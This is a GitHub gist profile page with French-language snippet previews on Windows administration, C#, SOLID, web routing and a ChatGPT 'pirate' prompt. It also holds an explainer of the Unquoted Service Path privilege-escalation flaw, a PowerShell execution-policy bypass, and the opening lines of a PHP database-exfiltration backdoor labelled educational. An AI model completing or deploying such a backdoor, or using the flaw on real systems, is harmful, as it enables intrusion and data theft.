Skip to content

Instantly share code, notes, and snippets.

View bizouarn's full-sized avatar

Aymeric Bizouarn bizouarn

View GitHub Profile
Import-Module GroupPolicy
$BackupPath = "C:\temp\GPOBackup"
if (Test-Path $BackupPath) {
Remove-Item -Path $BackupPath\* -Recurse -Force
} else {
New-Item -ItemType Directory -Path $BackupPath
}
@bizouarn
bizouarn / UnquotedServicePath.md
Last active March 13, 2024 22:28
La faille de sécurité "Unquoted Service Path" (Windows)

Faille de Sécurité : Unquoted Service Path

Introduction

La faille de sécurité "Unquoted Service Path" est une vulnérabilité potentiellement critique qui peut affecter les systèmes d'exploitation Windows. Cette vulnérabilité résulte d'une mauvaise gestion des chemins d'accès des services installés sur le système, où le chemin d'accès d'un service ne serait pas correctement délimité par des guillemets lorsqu'il contient des espaces. Les attaquants peuvent exploiter cette faille pour exécuter du code malveillant avec des privilèges élevés, compromettant ainsi la sécurité du système.

Comment fonctionne la faille

Lorsqu'un service est installé sur un système Windows, son chemin d'accès est généralement enregistré dans la base de registre. Si ce chemin d'accès comporte des espaces et n'est pas encadré par des guillemets, le système peut interpréter incorrectement le chemin et créer une opportunité pour une attaque.

@bizouarn
bizouarn / OperateursLogiques.md
Last active February 14, 2024 08:31
Opérateurs Logiques en C#

Opérateurs Logiques en C#

En programmation, les opérateurs agissent sur deux opérandes et effectuent diverses opérations logiques ou arithmétiques.
Voici quelques-uns des opérateurs binaires les plus couramment utilisés en C#.

Opérateurs Logiques

ET Logique (&)

L'opérateur & effectue une opération logique ET bit à bit.

@bizouarn
bizouarn / SOLID.md
Last active September 29, 2023 17:16
Les Principes de la méthode SOLID

Les Principes de la méthode SOLID

Les principes SOLID sont un ensemble de directives de conception logicielle qui visent à créer des systèmes logiciels flexibles, extensibles et faciles à maintenir.
Chacun de ces principes représente un concept clé pour la création de code de qualité.
Dans ce document, nous allons explorer ces principes avec des exemples de code C#.

S pour SRP (Single Responsibility Principle) ou principe de Responsabilité Unique

Le SRP stipule qu'une classe devrait avoir une seule raison de changer.
En d'autres termes, une classe ne doit avoir qu'une seule responsabilité.

@bizouarn
bizouarn / funGPT.md
Last active September 22, 2023 19:53
Comment Rendre un Chat GPT Plus Amusant en Utilisant le Langage Pirate 🏴‍☠️

🏴‍☠️ Comment transformer Chat GPT en pirate 🏴‍☠️

Si vous souhaitez ajouter une touche de fantaisie à votre chat GPT, pourquoi ne pas le personnaliser en un fier flibustier ? Voici comment le faire en utilisant un prompt amusant :

Voici les règles simplifiées du langage pirate :
- Supprimez les "g" dans les mots français, par exemple, "manger" devient "maner" et "nager" devient "naer".
- Supprimez les "v" également, comme "aventure" devient "a’enture" et "vivre" devient "vire". 
- Doublez les adjectifs pour plus d'emphase. Plutôt que de dire "grand navire," dites "magnifique, grand navire !" Et au lieu de "jamais !", dites "Non rien, jamais !"
En réponse aux ordres de votre capitaine ou patron, dites toujours "Aye, aye, Capt'n" pour montrer votre obéissance.
@bizouarn
bizouarn / RoutageWeb.md
Last active June 15, 2023 22:47
Le **routing** (ou routage) est un concept fondamental dans le développement des applications web.

Le Routage dans les Applications Web

Le routing (ou routage) est un concept fondamental dans le développement des applications web. Il s'agit du processus qui permet de déterminer comment les requêtes HTTP sont gérées et associées aux différentes ressources et fonctionnalités de l'application.

Lorsque vous visitez un site web, chaque URL que vous saisissez dans la barre d'adresse du navigateur ou sur laquelle vous cliquez est gérée par le routage. Le système de routage détermine quelle page ou quelles fonctionnalités doivent être affichées en fonction de l'URL demandée.

Fonctionnement du Routage

Le routage fonctionne en associant des URL à des actions spécifiques dans l'application web. Lorsqu'un utilisateur entre une URL ou clique sur un lien, le serveur web reçoit la requête correspondante. Le système de routage analyse alors l'URL et détermine quelle partie de l'application doit être exécutée pour répondre à cette requête.

@bizouarn
bizouarn / SqlBackDoor.php
Last active March 29, 2023 19:04
Backdoor simple en PHP (Utiliser pour exfiltrer des données d'une base de données non accessible depuis l'internet)
<?php
// Fourni à des fins éducatives uniquement
// Ce code peut être obscurci pour tester les logiciels de détection de codes malveillants
// optionnel (vous permet de protéger votre porte dérobée, mais donne des informations sur la personne qui l'a mise en place)
// Récupération de l'adresse IP de l'envoyeur de la requête POST
// Et vérifie qu'elle est autorisé a utilisé la backdoor
/*
$ip = $_SERVER['REMOTE_ADDR'];
$ipCheck = '0.0.0.0';
@bizouarn
bizouarn / MarkupExtension.cs
Last active February 28, 2023 13:16
Exemple de MarkupExtension WPF avec rafraîchissement
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Windows;
using System.Windows.Data;
using System.Windows.Markup;
[MarkupExtensionReturnType(typeof(string))]
public class TraductionExtension : MarkupExtension
{
@bizouarn
bizouarn / PowerShellExecutionPolicy.ps1
Last active February 23, 2023 14:18
Gestion des droits d'exécution des scripts powershell (temporairement)
# Stockage de l'ancienne règle
$OldPolicy = (Get-ExecutionPolicy -Scope CurrentUser) | Out-String
echo $OldPolicy # Affiche l'ancienne règle
# Ajout du Bypass
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
# Pour annuler le Bypass (après éxecution des scripts)
Set-ExecutionPolicy -ExecutionPolicy $OldPolicy -Scope CurrentUser
@bizouarn
bizouarn / GetCurrentServicePath.cs
Last active November 24, 2022 08:18
Récupère de chemin du service courant.
Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location);